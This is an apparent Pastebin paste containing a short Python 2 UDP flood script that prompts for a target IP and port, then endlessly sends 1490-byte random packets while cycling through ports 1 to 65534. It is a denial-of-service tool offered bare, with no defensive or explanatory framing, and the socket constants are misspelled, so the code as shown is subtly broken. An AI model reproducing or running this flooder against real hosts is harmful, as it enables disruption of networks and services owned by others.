Advertisement
Guest User

Untitled

a guest
Mar 19th, 2018
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.35 KB | None | 0 0
  1. import socket
  2. import random
  3.  
  4. sock = socket.socket(socket.AFINET, socket.SOCKDGRAM)
  5. bytes = random._urandom(1490)
  6. ip = raw_input('Target IP: ')
  7. port = input('Port: ')
  8. sent = 0
  9.  
  10.  
  11. while True:
  12. sock.sendto(bytes, (ip,port))
  13. sent = sent + 1
  14. port = port + 1
  15. print "Sent %s packet to %s throught port %s"%(sent,ip,port)
  16. if port == 65534:
  17. port = 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement